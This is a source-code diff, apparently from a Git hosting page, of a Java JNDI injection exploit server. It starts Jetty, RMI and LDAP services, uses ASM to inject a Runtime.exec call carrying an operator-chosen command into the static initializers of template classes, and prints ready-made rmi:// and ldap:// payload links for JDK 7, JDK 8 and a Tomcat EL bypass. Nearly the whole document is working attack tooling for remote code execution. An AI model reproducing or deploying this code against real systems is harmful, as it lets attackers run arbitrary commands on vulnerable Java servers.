import java.util.Enumeration;
|
||||
|
||||
import static util.Mapper.*;
|
||||
|
||||
/**
|
||||
* @Classname run.ServerStart
|
||||
* @Description Start servers
|
||||
* @Author Welkin
|
||||
*/
|
||||
public class ServerStart {
|
||||
public static String addr = getLocalIpByNetcard();
|
||||
|
||||
//default ports
|
||||
public static int rmiPort = 1099;
|
||||
public static int ldapPort = 1389;
|
||||
private static int jettyPort = 8180;
|
||||
|
||||
private URL codebase;
|
||||
|
||||
private JettyServer jettyServer;
|
||||
private RMIRefServer rmiRefServer;
|
||||
private LDAPRefServer ldapRefServer;
|
||||
|
||||
public static void main(String[] args) throws Exception{
|
||||
|
||||
CommandLineParser parser = new DefaultParser();
|
||||
CommandLine cmd = null;
|
||||
//default command
|
||||
String[] cmdArray = {"open","/Applications/Calculator.app"};
|
||||
|
||||
try{
|
||||
cmd = parser.parse(cmdlineOptions(),args);
|
||||
}catch (Exception e){
|
||||
System.err.println("Cmdlines parse failed.");
|
||||
System.exit(1);
|
||||
}
|
||||
if(cmd.hasOption("C")) {
|
||||
cmdArray = cmd.getOptionValues('C');
|
||||
}
|
||||
if(cmd.hasOption("A")) {
|
||||
addr = cmd.getOptionValue('A');
|
||||
}
|
||||
|
||||
ServerStart servers = new ServerStart(new URL("http://"+ addr +":"+ jettyPort +"/"),StringUtils.join(cmdArray," "));
|
||||
System.out.println("[ADDRESS] >> " + addr);
|
||||
System.out.println("[COMMAND] >> " + withColor(StringUtils.join(cmdArray," "),ANSI_BLUE));
|
||||
Class.forName("util.Mapper");
|
||||
|
||||
System.out.println("----------------------------Server Log----------------------------");
|
||||
System.out.println(getLocalTime() + " [JETTYSERVER]>> Listening on 0.0.0.0:" + jettyPort);
|
||||
Thread threadJetty = new Thread(servers.jettyServer);
|
||||
threadJetty.start();
|
||||
|
||||
System.out.println(getLocalTime() + " [RMISERVER] >> Listening on 0.0.0.0:" + rmiPort);
|
||||
Thread threadRMI = new Thread(servers.rmiRefServer);
|
||||
threadRMI.start();
|
||||
|
||||
Thread threadLDAP = new Thread(servers.ldapRefServer);
|
||||
threadLDAP.start();
|
||||
|
||||
}
|
||||
|
||||
public ServerStart(String cmd) throws Exception{
|
||||
this.codebase = new URL("http://"+ getLocalIpByNetcard() +":"+ jettyPort +"/");
|
||||
|
||||
jettyServer = new JettyServer(jettyPort,cmd);
|
||||
rmiRefServer = new RMIRefServer(rmiPort, codebase, cmd);
|
||||
ldapRefServer = new LDAPRefServer(ldapPort,codebase);
|
||||
}
|
||||
|
||||
public ServerStart(URL codebase, String cmd) throws Exception{
|
||||
this.codebase = codebase;
|
||||
|
||||
jettyServer = new JettyServer(jettyPort,cmd);
|
||||
rmiRefServer = new RMIRefServer(rmiPort, codebase, cmd);
|
||||
ldapRefServer = new LDAPRefServer(ldapPort,this.codebase);
|
||||
}
|
||||
|
||||
public static Options cmdlineOptions(){
|
||||
Options opts = new Options();
|
||||
Option c = new Option("C",true,"The command executed in remote .class.");
|
||||
c.setArgs(Option.UNLIMITED_VALUES);
|
||||
opts.addOption(c);
|
||||
Option addr = new Option("A",true,"The address of server(ip or domain).");
|
||||
opts.addOption(addr);
|
||||
return opts;
|
||||
}
|
||||
|
||||
/**
|
||||
* 直接根据第一个网卡地址作为其内网ipv4地址
|
||||
*
|
||||
* @return
|
||||
*/
|
||||
public static String getLocalIpByNetcard() {
|
||||
try {
|
||||
for (Enumeration<NetworkInterface> e = NetworkInterface.getNetworkInterfaces(); e.hasMoreElements(); ) {
|
||||
NetworkInterface item = e.nextElement();
|
||||
for (InterfaceAddress address : item.getInterfaceAddresses()) {
|
||||
if (item.isLoopback() || !item.isUp()) {
|
||||
continue;
|
||||
}
|
||||
if (address.getAddress() instanceof Inet4Address) {
|
||||
Inet4Address inet4Address = (Inet4Address) address.getAddress();
|
||||
return inet4Address.getHostAddress();
|
||||
}
|
||||
}
|
||||
}
|
||||
return InetAddress.getLocalHost().getHostAddress();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get current time
|
||||
*/
|
||||
public static String getLocalTime(){
|
||||
Date d = new Date();
|
||||
DateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
|
||||
return sdf.format(d);
|
||||
}
|
||||
|
||||
public static Boolean isLinux(){
|
||||
return !System.getProperty("os.name").toLowerCase().startsWith("win");
|
||||
}
|
||||
|
||||
public static String withColor(String str,String color){
|
||||
if (isLinux()) {
|
||||
return color + str + ANSI_RESET;
|
||||
}
|
||||
return str;
|
||||
}
|
||||
|
||||
}
|
||||
59
src/main/java/util/Mapper.java
Normal file
59
src/main/java/util/Mapper.java
Normal file
@@ -0,0 +1,59 @@
|
||||
package util;
|
||||
|
||||
import org.apache.commons.lang3.RandomStringUtils;
|
||||
|
||||
import static run.ServerStart.addr;
|
||||
import static run.ServerStart.rmiPort;
|
||||
import static run.ServerStart.ldapPort;
|
||||
import static run.ServerStart.withColor;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @Classname Mapper
|
||||
* @Description Init the JNDI links
|
||||
* @Author Welkin
|
||||
*/
|
||||
public class Mapper {
|
||||
|
||||
public final static Map<String,String> references = new HashMap<>();
|
||||
public final static Map<String,String> instructions = new HashMap<>();
|
||||
public static final String ANSI_RESET = "\u001B[0m";
|
||||
public static final String ANSI_PURPLE = "\u001B[35m";
|
||||
public static final String ANSI_RED = "\u001B[31m";
|
||||
public static final String ANSI_BLUE = "\u001B[34m";
|
||||
|
||||
|
||||
static {
|
||||
//references.put(RandomStringUtils.randomAlphanumeric(7).toLowerCase(),"ExecTemplateJDK8");
|
||||
//references.put(RandomStringUtils.randomAlphanumeric(7).toLowerCase(),"ExecTemplateJDK7");
|
||||
//references.put(RandomStringUtils.randomAlphanumeric(7).toLowerCase(),"BypassByEL");
|
||||
|
||||
references.put("Exploit","ExecTemplateJDK8");
|
||||
references.put("Exploit7","ExecTemplateJDK7");
|
||||
references.put("ExploitBypass","BypassByEL");
|
||||
|
||||
|
||||
instructions.put("ExecTemplateJDK8","Build in "+ withColor("JDK 1.8",ANSI_RED) +" whose trustURLCodebase is true");
|
||||
instructions.put("ExecTemplateJDK7","Build in "+ withColor("JDK 1.7",ANSI_RED) +" whose trustURLCodebase is true");
|
||||
instructions.put("BypassByEL","Build in "+ withColor("JDK",ANSI_RED) +" whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath");
|
||||
|
||||
System.out.println("----------------------------JNDI Links---------------------------- ");
|
||||
for (String name : references.keySet()) {
|
||||
String reference = references.get(name);
|
||||
System.out.println("Target environment(" + instructions.get(reference) +"):");
|
||||
if (reference.startsWith("Bypass")){
|
||||
System.out.println(withColor("rmi://"+ addr +":"+ rmiPort +"/" + name, ANSI_PURPLE));
|
||||
}else {
|
||||
System.out.println(withColor("rmi://"+ addr +":"+ rmiPort +"/" + name, ANSI_PURPLE));
|
||||
System.out.println(withColor("ldap://"+ addr +":"+ ldapPort +"/" + name, ANSI_PURPLE));
|
||||
}
|
||||
}
|
||||
System.out.println();
|
||||
}
|
||||
|
||||
public static void main(String[] args) {
|
||||
System.out.println();
|
||||
}
|
||||
}
|
||||
69
src/main/java/util/Reflections.java
Normal file
69
src/main/java/util/Reflections.java
Normal file
@@ -0,0 +1,69 @@
|
||||
package util;
|
||||
|
||||
import sun.reflect.ReflectionFactory;
|
||||
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
|
||||
|
||||
@SuppressWarnings ( "restriction" )
|
||||
public class Reflections {
|
||||
|
||||
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
if ( field != null )
|
||||
field.setAccessible(true);
|
||||
else if ( clazz.getSuperclass() != null )
|
||||
field = getField(clazz.getSuperclass(), fieldName);
|
||||
|
||||
return field;
|
||||
}
|
||||
catch ( NoSuchFieldException e ) {
|
||||
if ( !clazz.getSuperclass().equals(Object.class) ) {
|
||||
return getField(clazz.getSuperclass(), fieldName);
|
||||
}
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
|
||||
final Field field = getField(obj.getClass(), fieldName);
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
|
||||
public static Object getFieldValue ( final Object obj, final String fieldName ) throws Exception {
|
||||
final Field field = getField(obj.getClass(), fieldName);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
|
||||
public static Constructor<?> getFirstCtor ( final String name ) throws Exception {
|
||||
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[ 0 ];
|
||||
ctor.setAccessible(true);
|
||||
return ctor;
|
||||
}
|
||||
|
||||
|
||||
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
|
||||
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
|
||||
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings ( {
|
||||
"unchecked"
|
||||
} )
|
||||
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes,
|
||||
Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
|
||||
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
|
||||
objCons.setAccessible(true);
|
||||
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
|
||||
sc.setAccessible(true);
|
||||
return (T) sc.newInstance(consArgs);
|
||||
}
|
||||
|
||||
}
|
||||
83
src/main/java/util/Transformers.java
Normal file
83
src/main/java/util/Transformers.java
Normal file
@@ -0,0 +1,83 @@
|
||||
package util;
|
||||
|
||||
import java.io.InputStream;
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
|
||||
/**
|
||||
* @Classname Transformers
|
||||
* @Description Insert command to the template classfile
|
||||
* @Author Welkin
|
||||
*/
|
||||
public class Transformers {
|
||||
|
||||
public static byte[] insertCommand(InputStream inputStream, String command) throws Exception{
|
||||
|
||||
ClassReader cr = new ClassReader(inputStream);
|
||||
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
|
||||
ClassVisitor cv = new TransformClass(cw,command);
|
||||
|
||||
cr.accept(cv, 2);
|
||||
return cw.toByteArray();
|
||||
}
|
||||
|
||||
static class TransformClass extends ClassVisitor{
|
||||
|
||||
String command;
|
||||
|
||||
TransformClass(ClassVisitor classVisitor, String command){
|
||||
super(Opcodes.ASM7,classVisitor);
|
||||
this.command = command;
|
||||
}
|
||||
|
||||
@Override
|
||||
public MethodVisitor visitMethod(
|
||||
final int access,
|
||||
final String name,
|
||||
final String descriptor,
|
||||
final String signature,
|
||||
final String[] exceptions) {
|
||||
MethodVisitor mv = cv.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if(name.equals("<clinit>")){
|
||||
return new TransformMethod(mv,command);
|
||||
}else{
|
||||
return mv;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static class TransformMethod extends MethodVisitor{
|
||||
|
||||
String command;
|
||||
|
||||
TransformMethod(MethodVisitor methodVisitor,String command) {
|
||||
super(Opcodes.ASM7, methodVisitor);
|
||||
this.command = command;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitCode(){
|
||||
|
||||
Label label0 = new Label();
|
||||
Label label1 = new Label();
|
||||
Label label2 = new Label();
|
||||
mv.visitTryCatchBlock(label0, label1, label2, "java/lang/Exception");
|
||||
mv.visitLabel(label0);
|
||||
mv.visitLdcInsn(command);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, 0);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 0);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
mv.visitLabel(label1);
|
||||
Label label3 = new Label();
|
||||
mv.visitJumpInsn(Opcodes.GOTO, label3);
|
||||
mv.visitLabel(label2);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, 0);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 0);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false);
|
||||
mv.visitLabel(label3);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
BIN
src/main/resources/template/ExecTemplateJDK7.class
Normal file
BIN
src/main/resources/template/ExecTemplateJDK7.class
Normal file
Binary file not shown.
BIN
src/main/resources/template/ExecTemplateJDK8.class
Normal file
BIN
src/main/resources/template/ExecTemplateJDK8.class
Normal file
Binary file not shown.
BIN
src/test/.DS_Store
vendored
Normal file
BIN
src/test/.DS_Store
vendored
Normal file
Binary file not shown.
11
src/test/java/ExecTemplateJDK7.java
Normal file
11
src/test/java/ExecTemplateJDK7.java
Normal file
@@ -0,0 +1,11 @@
|
||||
/**
|
||||
* @Classname ExecTemplateJDK7
|
||||
* @Author Welkin
|
||||
*/
|
||||
public class ExecTemplateJDK7 {
|
||||
|
||||
static {
|
||||
System.out.println();
|
||||
}
|
||||
|
||||
}
|
||||
11
src/test/java/ExecTemplateJDK8.java
Normal file
11
src/test/java/ExecTemplateJDK8.java
Normal file
@@ -0,0 +1,11 @@
|
||||
/**
|
||||
* @Classname ExecTemplateJDK8
|
||||
* @Author Welkin
|
||||
*/
|
||||
public class ExecTemplateJDK8 {
|
||||
|
||||
static {
|
||||
System.out.println();
|
||||
}
|
||||
|
||||
}
|
||||
15
src/test/java/TestRuntime.java
Normal file
15
src/test/java/TestRuntime.java
Normal file
@@ -0,0 +1,15 @@
|
||||
import org.junit.Test;
|
||||
|
||||
import javax.naming.InitialContext;
|
||||
|
||||
/**
|
||||
* @Classname TestRuntime
|
||||
* @Description For testing your command
|
||||
* @Author Welkin
|
||||
*/
|
||||
public class TestRuntime {
|
||||
@Test
|
||||
public void testRuntime() throws Exception{
|
||||
Runtime.getRuntime().exec("id");
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user